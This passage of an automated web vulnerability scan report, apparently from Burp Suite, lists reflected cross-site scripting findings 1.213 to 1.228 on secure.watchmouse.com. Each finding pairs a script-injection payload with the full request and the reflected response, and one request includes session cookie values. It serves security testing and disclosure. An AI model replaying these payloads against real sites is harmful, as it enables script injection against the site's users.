ETag: "0-en-bbb7b4d62458697c0c77d7a5ae3089ea"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13703

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en78385"><script>alert(1)</script>70cefa9d93e/index.php" method="post">
...[SNIP]...

1.213. https://secure.watchmouse.com/en/index.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/index.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d83c"><script>alert(1)</script>419d908d897 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/index.php4d83c"><script>alert(1)</script>419d908d897 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:46 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-4ee4bf6bbb35c0a31039b8159b55d868"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13685

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/index.php4d83c"><script>alert(1)</script>419d908d897" method="post">
...[SNIP]...

1.214. https://secure.watchmouse.com/en/index.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/index.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c2ef'-alert(1)-'734d5cd72d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/index.php3c2ef'-alert(1)-'734d5cd72d HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:47 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-f11ebd7d412915e5e80bd321e8eadeea"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13559

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::index.php3c2ef'-alert(1)-'734d5cd72d');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.215. https://secure.watchmouse.com/en/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d889e"><script>alert(1)</script>e0ab6664ecc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/index.php?d889e"><script>alert(1)</script>e0ab6664ecc=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-99fd5c02e24002e34e089d9fc81ca7bb"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18703

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/index.php?d889e"><script>alert(1)</script>e0ab6664ecc=1" method="post">
...[SNIP]...

1.216. https://secure.watchmouse.com/en/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 433cc'-alert(1)-'69fa900d091 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/index.php?433cc'-alert(1)-'69fa900d091=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-27ae6b927411d02a3806e576421a9f66"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18588

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::index.php?433cc'-alert(1)-'69fa900d091=1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsR
...[SNIP]...

1.217. https://secure.watchmouse.com/en/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d70f"><script>alert(1)</script>13cc805ad41 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en7d70f"><script>alert(1)</script>13cc805ad41/learn_more.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:46 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-735bbb43f3b0352e9355ebe02058e15c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13753

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en7d70f"><script>alert(1)</script>13cc805ad41/learn_more.php" method="post">
...[SNIP]...

1.218. https://secure.watchmouse.com/en/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52cbc"><script>alert(1)</script>0aea601631c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/learn_more.php52cbc"><script>alert(1)</script>0aea601631c HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:47 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-1749e399746a523148f7a402ac7d637a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13730

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/learn_more.php52cbc"><script>alert(1)</script>0aea601631c" method="post">
...[SNIP]...

1.219. https://secure.watchmouse.com/en/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48423'-alert(1)-'4e90cd5f9e6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/learn_more.php48423'-alert(1)-'4e90cd5f9e6 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-93364afd387b438cabed0aa058a7d505"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13619

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::learn_more.php48423'-alert(1)-'4e90cd5f9e6');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.220. https://secure.watchmouse.com/en/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e50ae'-alert(1)-'d456df87712 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/learn_more.php?e50ae'-alert(1)-'d456df87712=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:26:38 GMT
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45780

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::learn_more.php?e50ae'-alert(1)-'d456df87712=1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsR
...[SNIP]...

1.221. https://secure.watchmouse.com/en/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 121ca"><script>alert(1)</script>58596ef1fd6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/learn_more.php?121ca"><script>alert(1)</script>58596ef1fd6=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:26:35 GMT
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45890

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/learn_more.php?121ca"><script>alert(1)</script>58596ef1fd6=1" method="post">
...[SNIP]...

1.222. https://secure.watchmouse.com/en/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e2f"><script>alert(1)</script>c618c95b4e3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en33e2f"><script>alert(1)</script>c618c95b4e3/plans_price.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:46 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-331250062c61b52545f81a07bd43e63b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13763

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en33e2f"><script>alert(1)</script>c618c95b4e3/plans_price.php" method="post">
...[SNIP]...

1.223. https://secure.watchmouse.com/en/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 289b8'-alert(1)-'077e8fb4a6c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/plans_price.php289b8'-alert(1)-'077e8fb4a6c HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-dd04b3ed18110dee9ca2b9cc28ce02e6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13629

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::plans_price.php289b8'-alert(1)-'077e8fb4a6c');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.224. https://secure.watchmouse.com/en/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4af6e"><script>alert(1)</script>9d2a6c1cdd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/plans_price.php4af6e"><script>alert(1)</script>9d2a6c1cdd HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:47 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-6916f078ee06d994f9f236e32258ba40"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13729

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/plans_price.php4af6e"><script>alert(1)</script>9d2a6c1cdd" method="post">
...[SNIP]...

1.225. https://secure.watchmouse.com/en/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fd3c"><script>alert(1)</script>6dbccbdb1db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/plans_price.php?2fd3c"><script>alert(1)</script>6dbccbdb1db=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-69b6fe5a5c2f3e0a3c1233394425ea01"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 55768

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/plans_price.php?2fd3c"><script>alert(1)</script>6dbccbdb1db=1" method="post">
...[SNIP]...

1.226. https://secure.watchmouse.com/en/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa9b6'-alert(1)-'7eea0d4a4a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/plans_price.php?fa9b6'-alert(1)-'7eea0d4a4a4=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-e59b6e4184a2981537e838b4bac6de7c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 55659

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::plans_price.php?fa9b6'-alert(1)-'7eea0d4a4a4=1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsR
...[SNIP]...

1.227. https://secure.watchmouse.com/en/website_monitoring_features.php [6d3ad'-alert(1)-'155c9d73cd6 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of the 6d3ad'-alert(1)-'155c9d73cd6 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f799"><script>alert(1)</script>94fd7e2122b was submitted in the 6d3ad'-alert(1)-'155c9d73cd6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/website_monitoring_features.php?6d3ad'-alert(1)-'155c9d73cd6=18f799"><script>alert(1)</script>94fd7e2122b HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; nkey=WMA4D528314AD809

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:16:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-327f36dcde817e7ddd22b36d9e241d35"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 28026

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php?6d3ad'-alert(1)-'155c9d73cd6=18f799"><script>alert(1)</script>94fd7e2122b" method="post">
...[SNIP]...

1.228. https://secure.watchmouse.com/en/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3ec5"><script>alert(1)</script>09664dfd080 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /end3ec5"><script>alert(1)</script>09664dfd080/website_monitoring_features.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:45 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
